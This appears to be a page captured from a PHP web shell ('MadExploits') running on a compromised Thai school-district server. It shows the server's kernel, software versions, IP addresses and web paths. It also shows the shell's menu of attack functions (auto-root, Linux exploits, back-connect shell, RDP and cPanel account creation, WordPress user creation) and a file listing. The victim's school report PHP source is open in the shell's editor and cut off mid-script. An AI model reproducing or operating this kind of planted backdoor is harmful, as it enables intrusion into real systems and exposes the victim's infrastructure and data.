Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amss /
modules /
warroom /
main /
[ HOME SHELL ]
Name
Size
Permission
Action
building_show.php
4.58
KB
-rw-r--r--
livesearch1.php
787
B
-rw-r--r--
livesearch_202.php
5.82
KB
-rw-r--r--
livesearch_2021.php
4.86
KB
-rw-r--r--
livesearch_204.php
11.9
KB
-rw-r--r--
livesearch_2041.php
9.97
KB
-rw-r--r--
livesearch_2044.php
11.8
KB
-rw-r--r--
livesearch_20441.php
9.83
KB
-rw-r--r--
livesearch_206.php
11.79
KB
-rw-r--r--
livesearch_2061.php
9.79
KB
-rw-r--r--
livesearch_301.php
3.16
KB
-rw-r--r--
livesearch_302.php
3.36
KB
-rw-r--r--
livesearch_ach.php
7.15
KB
-rw-r--r--
livesearch_ach_2.php
7.85
KB
-rw-r--r--
livesearch_allperson.php
1.59
KB
-rw-r--r--
livesearch_amphoe_school.php
1.53
KB
-rw-r--r--
livesearch_budget.php
10.99
KB
-rw-r--r--
livesearch_building.php
3.14
KB
-rw-r--r--
livesearch_chart2.php
625
B
-rw-r--r--
livesearch_chart3.php
872
B
-rw-r--r--
livesearch_chart3_2.php
987
B
-rw-r--r--
livesearch_chart3_3.php
1.37
KB
-rw-r--r--
livesearch_chart3_4.php
847
B
-rw-r--r--
livesearch_chart3_5.php
883
B
-rw-r--r--
livesearch_chart3_6.php
879
B
-rw-r--r--
livesearch_chart3_7.php
922
B
-rw-r--r--
livesearch_chart4.php
607
B
-rw-r--r--
livesearch_chart4_2.php
1.05
KB
-rw-r--r--
livesearch_computer.php
4.46
KB
-rw-r--r--
livesearch_g_ach_2.php
8.67
KB
-rw-r--r--
livesearch_health1.php
9.7
KB
-rw-r--r--
livesearch_health2.php
8.81
KB
-rw-r--r--
livesearch_khetopportunity.php
3.74
KB
-rw-r--r--
livesearch_khetopportunity2.ph...
3.8
KB
-rw-r--r--
livesearch_khetopportunity3.ph...
3.74
KB
-rw-r--r--
livesearch_khetperson.php
1.44
KB
-rw-r--r--
livesearch_nt.php
2.68
KB
-rw-r--r--
livesearch_nt2.php
3.05
KB
-rw-r--r--
livesearch_nt3.php
5.26
KB
-rw-r--r--
livesearch_opportunity.php
8
KB
-rw-r--r--
livesearch_opportunity2.php
8
KB
-rw-r--r--
livesearch_opportunity3.php
8.01
KB
-rw-r--r--
livesearch_plan.php
4.3
KB
-rw-r--r--
livesearch_plc.php
5.71
KB
-rw-r--r--
livesearch_plc2.php
3.15
KB
-rw-r--r--
livesearch_read.php
7.91
KB
-rw-r--r--
livesearch_sch_person.php
1.51
KB
-rw-r--r--
livesearch_school.php
2.19
KB
-rw-r--r--
livesearch_school_group.php
2.64
KB
-rw-r--r--
livesearch_school_group2.php
2.3
KB
-rw-r--r--
livesearch_small_school.php
1.95
KB
-rw-r--r--
livesearch_smss_std.php
5.28
KB
-rw-r--r--
livesearch_std.php
11.24
KB
-rw-r--r--
livesearch_std2.php
11.05
KB
-rw-r--r--
livesearch_std3.php
7.02
KB
-rw-r--r--
livesearch_std4.php
6.91
KB
-rw-r--r--
livesearch_std_check.php
3.31
KB
-rw-r--r--
livesearch_std_check2.php
3.28
KB
-rw-r--r--
livesearch_student.php
3.96
KB
-rw-r--r--
livesearch_student2.php
4.17
KB
-rw-r--r--
livesearch_student3.php
10.44
KB
-rw-r--r--
livesearch_student_list.php
5.22
KB
-rw-r--r--
livesearch_supervision.php
13.24
KB
-rw-r--r--
permission.php
11.13
KB
-rw-r--r--
school_report_1.php
52.88
KB
-rw-r--r--
school_report_2.php
36.59
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : school_report_2.php
<?php /** ensure this file is being included by a parent file */ defined( '_VALID_' ) or die( 'Direct Access to this location is not allowed.' ); ?> <script src="chart/Chart.js"></script> <?php if($_SESSION['user_os'] =="mobile"){ $w1="97%"; $w2="97%"; $w3="97%"; $w4="97%"; $w5="97%"; } else{ $w1="100%"; $w2="80%"; $w3="70%"; $w4="60%"; $w5="50%"; } echo "<br />"; echo "<table width='70%' border='0' align='center'>"; echo "<tr align='center'><td><font color='#006666' size='3'><strong>วิเคราะห์สภาพการณ์เขตพื้นที่การศึกษา</strong></font></td></tr>"; echo "</table>"; //ส่วนการแสดงผล * //ปีการศึกษา $sql = "select * from student_main_edyear where year_active='1' order by ed_year desc limit 1"; $dbquery = mysqli_query($connect,$sql); $year_active_result = mysqli_fetch_array($dbquery); //d1 ข้อมูลพื้นฐาน echo "<br>"; echo "<table border='1' style='border-collapse: collapse' width='$w2' align='center'>"; echo "<tr align='center' bgcolor='#CED8F6'>"; echo "<td colspan='2' height='30'> <b>ข้อมูลพื้นฐาน</b></td>"; echo "</tr>"; echo "</table>"; echo "<table border='1' style='border-collapse: collapse' width='$w2' align='center'>"; echo "<tr align='left'>"; $sql_count= "select count(system_school.id) as school from system_school left join system_school_detail on system_school.school_code=system_school_detail.school_code where system_school.school_type='1' "; $dbquery_count = mysqli_query($connect,$sql_count); $result_count = mysqli_fetch_array($dbquery_count); $school_num=$result_count['school']; $school_num= number_format($school_num); echo "<td> <b>จำนวนโรงเรียน</b> : <font color='#31B404'> $school_num แห่ง</font>"; echo "</td><td align='center' valign='top' width='60'><input type='button' id='school_button' value='รายละเอียด' onclick=ajax_show('xx','school','val3','val4')></td>"; echo "</tr>"; echo "</table>"; echo "<div id='school' style='display:none'></div>"; echo "<table border='1' style='border-collapse: collapse' width='$w2' align='center'>"; echo "<tr bgcolor='#F2F2F2'><td> <b>โรงเรียนขนาดเล็ก (นักเรียนไม่เกิน 120 คน)</b> :"; echo "</td><td align='center' valign='top' width='60'><input type='button' id='small_school_button' value='รายละเอียด' onclick=ajax_show('xx','small_school','val3','val4')></td>"; echo "</tr>"; echo "</table>"; echo "<div id='small_school' style='display:none'></div>"; echo "<table border='1' style='border-collapse: collapse' width='$w2' align='center'>"; echo "<tr><td> <b>จำนวนโรงเรียนจำแนกตามอำเภอ</b> :"; echo "</td><td align='center' valign='top' width='60'><input type='button' id='amphoe_school_button' value='รายละเอียด' onclick=ajax_show('xx','amphoe_school','val3','val4')></td>"; echo "</tr>"; echo "</table>"; echo "<div id='amphoe_school' style='display:none'></div>"; echo "<table border='1' style='border-collapse: collapse' width='$w2' align='center'>"; echo "<tr align='left' bgcolor='#F2F2F2'>"; echo "<td> <b>กลุ่มโรงเรียน</b> : "; echo "</td><td align='center' valign='top' width='60'><input type='button' id='school_group2_button' value='รายละเอียด' onclick=ajax_show_3('xx','school_group2','val3','school_group')></td>"; echo "</tr>"; echo "</table>"; echo "<div id='school_group2' style='display:none'></div>"; echo "<div id='school_group' style='display:none'></div>"; echo "<br>"; echo "<table border='1' style='border-collapse: collapse' width='$w2' align='center'>"; echo "<tr align='left' bgcolor='#F2F2F2'>"; $sql_count= "select count(student_main_main.id) as student from student_main_main left join system_school on student_main_main.school_code=system_school.school_code where system_school.school_type='1' and student_main_main.ed_year='$year_active_result[ed_year]'"; $dbquery_count = mysqli_query($connect,$sql_count); $result_count = mysqli_fetch_array($dbquery_count); $student_num=$result_count['student']; $student_num= number_format($student_num); echo "<td> <b>จำนวนนักเรียน</b> : <font color='#31B404'>(AMSS++ ปีการศึกษา $year_active_result[ed_year]) $student_num คน </font>"; echo "</td><td align='center' valign='top' width='60'><input type='button' id='student2_button' value='รายละเอียด' onclick=ajax_show('xx','student2','val3','val4')></td>"; echo "</tr>"; echo "</table>"; echo "<div id='student2' style='display:none'></div>"; echo "<table border='1' style='border-collapse: collapse' width='$w2' align='center'>"; echo "<tr align='left'>"; echo "<td> <b>จำนวนนักเรียนจำแนกตามสถานศึกษา</b> : "; echo "</td><td align='center' valign='top' width='60'><input type='button' id='student3_button' value='รายละเอียด' onclick=ajax_show('xx','student3','val3','val4')></td>"; echo "</tr>"; echo "</table>"; echo "<div id='student3' style='display:none'></div>"; echo "<table border='1' style='border-collapse: collapse' width='$w2' align='center'>"; echo "<tr align='left' bgcolor='#F2F2F2'>"; echo "<td> <b>แนวโน้มจำนวนนักเรียน</b> : "; echo "</td><td align='center' valign='top' width='60'><input type='button' id='chart3_2_button' value='แสดงกราฟ' onclick=chart('abc','chart3_2','edyear','student','จำนวนนักเรียน','line')></td>"; echo "</tr>"; echo "</table>"; ///// echo "<div id='chart3_2_div' style='display:none'>"; echo "<br>"; echo "<table align='center' border='1' style='border-collapse: collapse' width='$w4'><tr><td>"; echo "<canvas id='chart3_2' width='600' height='300'></canvas>"; echo "</td></tr></table>"; echo "</div>"; ///// echo "<table border='1' style='border-collapse: collapse' width='$w2' align='center'>"; echo "<tr align='left' bgcolor='#F2F2F2'>"; echo "<td> <b>แนวโน้มจำนวนประชากร</b> : "; echo "</td><td align='center' valign='top' width='60'><input type='button' id='chart3_4_button' value='แสดงกราฟ' onclick=chart('abc','chart3_4','edyear','student','จำนวนประชากร','line')></td>"; echo "</tr>"; echo "</table>"; echo "<div id='chart3_4_div' style='display:none'>"; echo "<br>"; echo "<table align='center' border='1' style='border-collapse: collapse' width='$w4'><tr><td>"; echo "<canvas id='chart3_4' width='600' height='300'></canvas>"; echo "</td></tr></table>"; echo "</div>"; echo "<br>"; echo "<table border='1' style='border-collapse: collapse' width='$w2' align='center'>"; echo "<tr align='left' bgcolor='#F2F2F2'>"; $sql_khetperson = "select * from person_main where person_main.status='0' "; $dbquery_khetperson = mysqli_query($connect,$sql_khetperson); $person_khetnum=mysqli_num_rows($dbquery_khetperson); $person_khetnum=number_format($person_khetnum); echo "<td> <b>จำนวนบุคลากรในสำนักงานเขตพื้นที่การศึกษา</b> : <font color='#31B404'>$person_khetnum คน</font>"; echo "</td><td align='center' valign='top' width='60'><input type='button' id='khetperson_button' value='รายละเอียด' onclick=ajax_show('abc','khetperson')></td></tr>"; echo "</table>"; echo "<div id='khetperson' style='display:none' align='center'>"; echo "</div>"; echo "<table border='1' style='border-collapse: collapse' width='$w2' align='center'>"; echo "<tr align='left' bgcolor='#F2F2F2'>"; echo "<td> <b>ข้าราชการครูและบุคลากรทางการศึกษาในสำนักงานเขตพื้นที่การศึกษา เกษียณอายุ 15 ปีข้างหน้า</b> : "; echo "</td><td align='center' valign='top' width='60'><input type='button' id='chart3_6_button' value='แสดงกราฟ' onclick=chart('abc','chart3_6','edyear','student','จำนวนผู้เกษียณ','line')></td>"; echo "</tr>"; echo "</table>"; echo "<div id='chart3_6_div' style='display:none'>"; echo "<br>"; echo "<table align='center' border='1' style='border-collapse: collapse' width='$w4'><tr><td>"; echo "<canvas id='chart3_6' width='600' height='300'></canvas>"; echo "</td></tr></table>"; echo "</div>"; echo "<table border='1' style='border-collapse: collapse' width='$w2' align='center'>"; echo "<tr align='left'>"; $sql_person = "select * from person_sch_main left join system_school on person_sch_main.school_code=system_school.school_code where system_school.school_type='1' and person_sch_main.status='0' "; $dbquery_person = mysqli_query($connect,$sql_person); $person_num=mysqli_num_rows($dbquery_person); $person_num=number_format($person_num); echo "<td> <b>จำนวนบุคลากรในสถานศึกษา</b> : <font color='#31B404'>$person_num คน</font>"; echo "</td><td align='center' valign='top' width='60'><input type='button' id='allperson_button' value='รายละเอียด' onclick=ajax_show('abc','allperson')></td></tr>"; echo "</table>"; echo "<div id='allperson' style='display:none' align='center'>"; echo "</div>"; echo "<table border='1' style='border-collapse: collapse' width='$w2' align='center'>"; echo "<tr align='left' bgcolor='#F2F2F2'>"; echo "<td> <b>จำนวนบุคลากรในสถานศึกษา จำแนกตามสถานศึกษา</b> :"; echo "</td><td align='center' valign='top' width='60'><input type='button' id='sch_person_button' value='รายละเอียด' onclick=ajax_show('abc','sch_person')></td></tr>"; echo "</table>"; echo "<div id='sch_person' style='display:none' align='center'>"; echo "</div>"; echo "<table border='1' style='border-collapse: collapse' width='$w2' align='center'>"; echo "<tr align='left' bgcolor='#F2F2F2'>"; echo "<td> <b>ข้าราชการครูและบุคลากรทางการศึกษาในสถานศึกษา เกษียณอายุ 15 ปีข้างหน้า</b> : "; echo "</td><td align='center' valign='top' width='60'><input type='button' id='chart3_5_button' value='แสดงกราฟ' onclick=chart('abc','chart3_5','edyear','student','จำนวนผู้เกษียณ','line')></td>"; echo "</tr>"; echo "</table>"; echo "<div id='chart3_5_div' style='display:none'>"; echo "<br>"; echo "<table align='center' border='1' style='border-collapse: collapse' width='$w4'><tr><td>"; echo "<canvas id='chart3_5' width='600' height='300'></canvas>"; echo "</td></tr></table>"; echo "</div>"; echo "<br>"; echo "<table border='1' style='border-collapse: collapse' width='$w2' align='center'>"; echo "<tr align='left' bgcolor='#F2F2F2'>"; echo "<td> <b>ความพร้อมด้านคอมพิวเตอร์เพื่อการเรียนการสอน</b> : "; echo "</td><td align='center' valign='top' width='60'><input type='button' id='computer_button' value='รายละเอียด' onclick=ajax_show('abc','computer')></td>"; echo "</tr>"; echo "</table>"; echo "<div id='computer' style='display:none' align='center'>"; echo "</div>"; echo "<br><br>"; echo "<table border='1' style='border-collapse: collapse' width='$w2' align='center'>"; echo "<tr align='center' bgcolor='#CED8F6'>"; echo "<td colspan='2' height='30'> <b>คุณภาพผู้เรียน</b></td>"; echo "</tr>"; echo "</table>"; // NT echo "<table border='1' style='border-collapse: collapse' width='$w2' align='center'>"; echo "<tr align='center'>"; echo "<td align='left' width='50%'> <b>ผลสอบ NT ภาพรวม สพท.</b></td><td align='right'>แสดงข้อมูลแบบตาราง <input type='button' id='nt2_button' value='รายละเอียด' onclick=ajax_show('abc','nt2','val3','val4')>"; if($_SESSION['user_os'] =="mobile"){ echo "<br>"; } echo " แสดงกราฟ <input type='button' id='chart4_2_button' value='แสดงกราฟ' onclick=chart('abc','chart4_2','edyear','score_avg','คะแนนเฉลี่ย_NT','line')></td>"; echo "</tr>"; echo "</table>"; echo "<table border='1' style='border-collapse: collapse' width='$w2' align='center'>"; echo "<tr align='center' bgcolor='#F2F2F2'>"; echo "<td align='left'> <b>ผลสอบ NT จำแนกตามกลุ่มโรงเรียน</b></td><td align='center' valign='top' width='60'><input type='button' id='nt3_button' value='รายละเอียด' onclick=ajax_show('abc','nt3')></td>"; echo "</tr>"; echo "</table>"; echo "<div id='nt2' style='display:none' align='center'></div>"; echo "<div id='chart4_2_div' style='display:none'>"; echo "<br>"; echo "<table align='center' border='1' style='border-collapse: collapse' width='$w4'><tr><td>"; echo "<canvas id='chart4_2' width='600' height='300'></canvas>"; echo "</td></tr></table>"; echo "</div>"; echo "<br>"; echo "<div id='nt3' style='display:none' align='center'></div>"; //ONET echo "<table border='1' style='border-collapse: collapse' width='$w2' align='center'>"; echo "<tr align='center' bgcolor='#F2F2F2'>"; echo "<td align='left'> <b>ผลสอบ O-NET ภาพรวม สพท.</b></td><td align='center' valign='top' width='60'><input type='button' id='ach_2_button' value='รายละเอียด' onclick=ajax_show('abc','ach_2')></td>"; echo "</tr>"; echo "</table>"; echo "<table border='1' style='border-collapse: collapse' width='$w2' align='center'>"; echo "<tr align='center'>"; echo "<td align='left'> <b>ผลสอบ O-NET จำแนกตามกลุ่มโรงเรียน</b></td><td align='center' valign='top' width='60'><input type='button' id='g_ach_2_button' value='รายละเอียด' onclick=ajax_show('abc','g_ach_2')></td>"; echo "</tr>"; echo "</table>"; echo "<div id='g_ach_2' style='display:none' align='center'></div>"; echo "<div id='ach_2' style='display:none' align='center'></div>"; echo "<br>"; $class_ar[6]="ชั้นประถมศึกษาปีที่ 6"; $class_ar[9]="ชั้นมัธยมศึกษาปีที่ 3"; $class_ar[12]="ชั้นมัธยมศึกษาปีที่ 6"; $sql = "select distinct ed_year from achievement_main where test_type='1' and test_class='6' order by ed_year"; $qury = mysqli_query($connect,$sql); while($result=mysqli_fetch_array($qury)){ $strQuery = "select avg(score_avg) as score_avg from achievement_main left join system_school on achievement_main.school=system_school.school_code where system_school.school_type='1' and test_type='1' and test_class='6' and ed_year='$result[ed_year]' "; $dbquery = mysqli_query($connect,$strQuery); while($result_ach = mysqli_fetch_array($dbquery)){ $data[] = $result_ach['score_avg']; $labels[] =$result['ed_year']; } } echo "<table align='center' border='1' style='border-collapse: collapse' width='$w4'><tr><td>"; ?> <canvas id="myChart" width="600" height="300"></canvas> <script> var ctx = document.getElementById("myChart"); var myChart = new Chart(ctx, { type: 'line', data: { labels: <?php echo json_encode($labels)?>, datasets: [{ label: 'คะแนนเฉลี่ยรายวิชา O-NET ชั้น ป.6', data: <?php echo json_encode($data, JSON_NUMERIC_CHECK);?>, backgroundColor: [ 'rgba(255, 99, 132, 0.2)', 'rgba(54, 162, 235, 0.2)', 'rgba(255, 206, 86, 0.2)', 'rgba(75, 192, 192, 0.2)', 'rgba(153, 102, 255, 0.2)', 'rgba(255, 159, 64, 0.2)' ], borderColor: [ 'rgba(255,99,132,1)', 'rgba(54, 162, 235, 1)', 'rgba(255, 206, 86, 1)', 'rgba(75, 192, 192, 1)', 'rgba(153, 102, 255, 1)', 'rgba(255, 159, 64, 1)' ], borderWidth: 1 }] }, options: { scales: { yAxes: [{ ticks: { beginAtZero:true } }] } } }); </script> <?php echo "</td></tr></table>"; $sql = "select distinct ed_year from achievement_main where test_type='1' and test_class='9' order by ed_year"; $qury = mysqli_query($connect,$sql); while($result=mysqli_fetch_array($qury)){ $strQuery = "select avg(score_avg) as score_avg from achievement_main left join system_school on achievement_main.school=system_school.school_code where system_school.school_type='1' and test_type='1' and test_class='9' and ed_year='$result[ed_year]' "; $dbquery = mysqli_query($connect,$strQuery); while($result_ach = mysqli_fetch_array($dbquery)){ $data2[] = $result_ach['score_avg']; $labels2[] =$result['ed_year']; } } echo "<table align='center' border='1' style='border-collapse: collapse' width='$w4'><tr><td>"; ?> <canvas id="myChart_onet2" width="600" height="300"></canvas> <script> var ctx = document.getElementById("myChart_onet2"); var myChart = new Chart(ctx, { type: 'line', data: { labels: <?php echo json_encode($labels2)?>, datasets: [{ label: 'คะแนนเฉลี่ยรายวิชา O-NET ชั้น ม.3', data: <?php echo json_encode($data2, JSON_NUMERIC_CHECK);?>, backgroundColor: [ 'rgba(255, 99, 132, 0.2)', 'rgba(54, 162, 235, 0.2)', 'rgba(255, 206, 86, 0.2)', 'rgba(75, 192, 192, 0.2)', 'rgba(153, 102, 255, 0.2)', 'rgba(255, 159, 64, 0.2)' ], borderColor: [ 'rgba(255,99,132,1)', 'rgba(54, 162, 235, 1)', 'rgba(255, 206, 86, 1)', 'rgba(75, 192, 192, 1)', 'rgba(153, 102, 255, 1)', 'rgba(255, 159, 64, 1)' ], borderWidth: 1 }] }, options: { scales: { yAxes: [{ ticks: { beginAtZero:true } }] } } }); </script> <?php echo "</td></tr></table>"; //d4 อนุบาล echo "<br><br>"; $this_year=date("Y"); $thai_this_year=$this_year+543; $this_month=date("m"); if($this_month<10){ $ed_this_year1=$thai_this_year-1; $ed_this_year2=$thai_this_year-2; } else{ $ed_this_year1=$thai_this_year; $ed_this_year2=$thai_this_year-1; } echo "<table border='1' style='border-collapse: collapse' width='$w2' align='center'>"; echo "<tr align='center' bgcolor='#F2F2F2'>"; echo "<td align='left'> <b>ผลการประเมินผู้เรียนตามมาตรฐานสำนักงานเขตพื้นที่การศึกษา ระดับอนุบาล</b></td></tr>"; echo "<tr align='center'>"; echo "<td><input type='button' id='std4_button1' value='ปีการศึกษา $ed_this_year2 ภาคเรียนที่ 1' onclick=ajax_show_2('x','std4',$ed_this_year2,'1','1')> <input type='button' id='std4_button2' value='ปีการศึกษา $ed_this_year2 ภาคเรียนที่ 2' onclick=ajax_show_2('x','std4',$ed_this_year2,'2','2')> "; if($_SESSION['user_os'] =="mobile"){ echo "<br>"; } echo "<input type='button' id='std4_button3' value='ปีการศึกษา $ed_this_year1 ภาคเรียนที่ 1' onclick=ajax_show_2('x','std4',$ed_this_year1,'1','3')> <input type='button' id='std4_button4' value='ปีการศึกษา $ed_this_year1 ภาคเรียนที่ 2' onclick=ajax_show_2('x','std4',$ed_this_year1,'2','4')></td>"; echo "</tr>"; echo "</table>"; echo "<div id='std4' style='display:none' align='center'>"; echo "</div>"; echo "<div id='20441' style='display:block' align='center'>"; echo "</div>"; //d3 ผลสอบมาตรฐานเขต echo "<br><br>"; $this_year=date("Y"); $thai_this_year=$this_year+543; $this_month=date("m"); if($this_month<10){ $ed_this_year1=$thai_this_year-1; $ed_this_year2=$thai_this_year-2; } else{ $ed_this_year1=$thai_this_year; $ed_this_year2=$thai_this_year-1; } echo "<table border='1' style='border-collapse: collapse' width='$w2' align='center'>"; echo "<tr align='center' bgcolor='#F2F2F2'>"; echo "<td align='left'> <b>ผลการประเมินผู้เรียนตามมาตรฐานสำนักงานเขตพื้นที่การศึกษา ระดับประถมศึกษาและมัธยมศึกษา</b></td></tr>"; echo "<tr align='center'>"; echo "<td><input type='button' id='std2_button1' value='ปีการศึกษา $ed_this_year2 ภาคเรียนที่ 1' onclick=ajax_show_2('x','std2',$ed_this_year2,'1','1')> <input type='button' id='std2_button2' value='ปีการศึกษา $ed_this_year2 ภาคเรียนที่ 2' onclick=ajax_show_2('x','std2',$ed_this_year2,'2','2')> "; if($_SESSION['user_os'] =="mobile"){ echo "<br>"; } echo "<input type='button' id='std2_button3' value='ปีการศึกษา $ed_this_year1 ภาคเรียนที่ 1' onclick=ajax_show_2('x','std2',$ed_this_year1,'1','3')> <input type='button' id='std2_button4' value='ปีการศึกษา $ed_this_year1 ภาคเรียนที่ 2' onclick=ajax_show_2('x','std2',$ed_this_year1,'2','4')></td>"; echo "</tr>"; echo "</table>"; echo "<div id='std2' style='display:none' align='center'>"; echo "</div>"; echo "<div id='2044' style='display:block' align='center'>"; echo "</div>"; //สิทธิและโอกาส echo "<br><br>"; echo "<table border='1' style='border-collapse: collapse' width='$w2' align='center'>"; echo "<tr align='center' bgcolor='#CED8F6'>"; echo "<td colspan='2' height='30'> <b>สิทธิและโอกาส</b></td>"; echo "</tr>"; echo "</table>"; echo "<table border='1' style='border-collapse: collapse' width='$w2' align='center'>"; echo "<tr align='left'>"; echo "<td> <b>การติดตามประชากรวัยเรียนให้ได้รับการศึกษา</b> : "; echo "</td><td align='center' valign='top'>3-5 ปี <input type='button' id='khetopportunity_button' value='รายละเอียด' onclick=ajax_show('x','khetopportunity')>"; if($_SESSION['user_os'] =="mobile"){ echo "<br>"; } echo " 6-11 ปี <input type='button' id='khetopportunity2_button' value='รายละเอียด' onclick=ajax_show('x','khetopportunity2')>"; if($_SESSION['user_os'] =="mobile"){ echo "<br>"; } echo " 12-15 ปี <input type='button' id='khetopportunity3_button' value='รายละเอียด' onclick=ajax_show('x','khetopportunity3')></td>"; echo "</tr>"; echo "</table>"; ///// echo "<div id='khetopportunity' style='display:none'>"; echo "</div>"; ///// echo "<div id='khetopportunity2' style='display:none'>"; echo "</div>"; ///// echo "<div id='khetopportunity3' style='display:none'>"; echo "</div>"; ///// echo "<br><br>"; echo "<table border='1' style='border-collapse: collapse' width='$w2' align='center'>"; echo "<tr align='center' bgcolor='#CED8F6'>"; echo "<td colspan='2' height='30'> <b>ประสิทธิภาพการบริหารจัดการ</b></td>"; echo "</tr>"; echo "</table>"; echo "<table border='1' style='border-collapse: collapse' width='$w2' align='center'>"; echo "<tr align='left'>"; echo "<td> <b>การบริหารงบประมาณ</b> : "; echo "</td><td align='center' valign='top' width='60'><input type='button' id='budget_button' value='รายละเอียด' onclick=ajax_show('x','budget')></td>"; echo "</tr>"; echo "</table>"; ///// echo "<div id='budget' style='display:none'>"; echo "</div>"; ///// //PLC echo "<br>"; echo "<table border='1' style='border-collapse: collapse' width='$w2' align='center'>"; echo "<tr align='left'>"; echo "<td> <b>PLC</b> : "; echo "</td><td align='center' valign='top' width='60'><input type='button' id='plc2_button' value='รายละเอียด' onclick=ajax_show('x','plc2','val3','val4')></td>"; echo "</tr>"; echo "</table>"; ///// echo "<div id='plc2' style='display:none'>"; echo "</div>"; ///// ?> <script> function goto_display(val){ if(val==1){ callfrm("?option=warroom&task=main/school_report_2"); } else if(val==2){ callfrm("?option=warroom&task=main/school_report_2&index=8"); } } function showResult(str) { var return_file="school_report_2"; if (str.length==0) { document.getElementById("livesearch").innerHTML=""; document.getElementById("livesearch").style.border="0px"; return; } if (window.XMLHttpRequest) { // code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp=new XMLHttpRequest(); } else { // code for IE6, IE5 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { if (this.readyState==4 && this.status==200) { document.getElementById("livesearch").innerHTML=this.responseText; document.getElementById("livesearch").style.border="1px solid #A5ACB2"; } } xmlhttp.open("GET","modules/warroom/main/livesearch1.php?q="+str+"&return_file="+return_file,true); xmlhttp.send(); } function e_show(val){ var x=val; var y=val+"_button"; if(document.getElementById(x).style.display=="block"){ document.getElementById(y).value="รายละเอียด"; document.getElementById(y).style.backgroundColor = "#A9D0F5"; document.getElementById(x).style.display="none"; } else if(document.getElementById(x).style.display=="none"){ document.getElementById(y).value="ไม่แสดงรายละเอียด"; document.getElementById(y).style.backgroundColor = "#F78181"; document.getElementById(x).style.display="block"; } } function ajax_show(val1,val2,val3,val4) { var livesearch="livesearch_"+val2+".php"; var display_button=val2+"_button"; if (window.XMLHttpRequest) { // code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp=new XMLHttpRequest(); } else { // code for IE6, IE5 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { if (this.readyState==4 && this.status==200) { document.getElementById(val2).innerHTML=this.responseText; } } xmlhttp.open("GET","modules/warroom/main/"+livesearch+"?q="+val1+"&val3="+val3+"&val4="+val4,true); xmlhttp.send(); if(document.getElementById(val2).style.display=="block"){ document.getElementById(display_button).value="รายละเอียด"; document.getElementById(display_button).style.backgroundColor = "#A9D0F5"; document.getElementById(val2).style.display="none"; } else if(document.getElementById(val2).style.display=="none"){ document.getElementById(display_button).value="ไม่แสดงรายละเอียด"; document.getElementById(display_button).style.backgroundColor = "#F78181"; document.getElementById(val2).style.display="block"; } } function ajax_show_2(val1,val2,val3,val4,val5) { var livesearch="livesearch_"+val2+".php"; var display_button=val2+"_button"+val5; if (window.XMLHttpRequest) { // code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp=new XMLHttpRequest(); } else { // code for IE6, IE5 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { if (this.readyState==4 && this.status==200) { document.getElementById(val2).innerHTML=this.responseText; } } xmlhttp.open("GET","modules/warroom/main/"+livesearch+"?q="+val1+"&val3="+val3+"&val4="+val4,true); xmlhttp.send(); document.getElementById(val2).style.display="block"; if(val5== "1"){ document.getElementById(val2+"_button2").style.backgroundColor = ""; document.getElementById(val2+"_button3").style.backgroundColor = ""; document.getElementById(val2+"_button4").style.backgroundColor = ""; if(document.getElementById(display_button).style.backgroundColor != ""){ document.getElementById(val2).style.display="none"; } } else if(val5== "2"){ document.getElementById(val2+"_button1").style.backgroundColor = ""; document.getElementById(val2+"_button3").style.backgroundColor = ""; document.getElementById(val2+"_button4").style.backgroundColor = ""; if(document.getElementById(display_button).style.backgroundColor != ""){ document.getElementById(val2).style.display="none"; } } else if(val5== "3"){ document.getElementById(val2+"_button1").style.backgroundColor = ""; document.getElementById(val2+"_button2").style.backgroundColor = ""; document.getElementById(val2+"_button4").style.backgroundColor = ""; if(document.getElementById(display_button).style.backgroundColor != ""){ document.getElementById(val2).style.display="none"; } } else if(val5== "4"){ document.getElementById(val2+"_button1").style.backgroundColor = ""; document.getElementById(val2+"_button2").style.backgroundColor = ""; document.getElementById(val2+"_button3").style.backgroundColor = ""; if(document.getElementById(display_button).style.backgroundColor != ""){ document.getElementById(val2).style.display="none"; } } if(document.getElementById(val2).style.display=="none"){ document.getElementById(display_button).style.backgroundColor = ""; } else{ document.getElementById(display_button).style.backgroundColor = "#F78181"; } document.getElementById("2044").innerHTML=""; document.getElementById("20441").innerHTML=""; } function ajax_show_3(val1,val2,val3,child_table) { var livesearch="livesearch_"+val2+".php"; var display_button=val2+"_button"; if (window.XMLHttpRequest) { // code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp=new XMLHttpRequest(); } else { // code for IE6, IE5 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { if (this.readyState==4 && this.status==200) { document.getElementById(val2).innerHTML=this.responseText; } } xmlhttp.open("GET","modules/warroom/main/"+livesearch+"?q="+val1+"&val3="+val3,true); xmlhttp.send(); if(document.getElementById(val2).style.display=="block"){ document.getElementById(display_button).value="รายละเอียด"; document.getElementById(display_button).style.backgroundColor = "#A9D0F5"; document.getElementById(val2).style.display="none"; document.getElementById(child_table).style.display="none"; } else if(document.getElementById(val2).style.display=="none"){ document.getElementById(display_button).value="ไม่แสดงรายละเอียด"; document.getElementById(display_button).style.backgroundColor = "#F78181"; document.getElementById(val2).style.display="block"; } } function chart(val1,val2,val3,val4,val5,val6) { var livesearch="livesearch_"+val2+".php"; var chart_display=val2; var data_x=val3; var data_y=val4; var label_text=val5; var chart_type=val6; var display_button=val2+"_button"; var div_display=val2+"_div"; var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { var myObj = JSON.parse(this.responseText); var x=new Array(); var y=new Array(); for (i = 0; i < 